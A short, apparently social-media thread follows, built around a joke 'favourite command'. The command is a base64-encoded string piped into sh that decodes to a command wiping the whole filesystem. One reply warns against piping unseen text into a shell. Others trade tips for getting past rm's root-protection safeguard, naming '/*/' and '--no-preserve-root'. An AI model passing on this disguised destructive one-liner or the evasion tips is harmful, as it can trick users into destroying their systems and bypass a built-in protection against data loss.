echo c3VkbyBybSAtcmYgLyoK | base64 -d | sh

New favourite command

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    @Kunterbunth too few people know the first rule of shell:

    Don't pipe into sh
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    Can be written in intstallation documentation
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    Why "Don't pipe into sh"? It doesn't handle shit well?
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    @oscarascal sh/bash/zsh/fish/ whatever shell you use
    If you don't understand a command 100%, don't run it -> in this case, piping into a shell means you're not seeing what's being run until it's too late. I could be doing rm -rf (like the rant), or adding my ssh key to your computer, or any other number of malicious things
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    You should've used rm -rf /*/, that wax you circumvent the warning message and get the same results
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    @McSebi my original version of it had --no-preserve-root, but I removed that to make it shorter and neater.
    Good tip though! Thanks? I'm not sure if wiping installations is worth a thanks 😂
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    Lol oh that's just lovely
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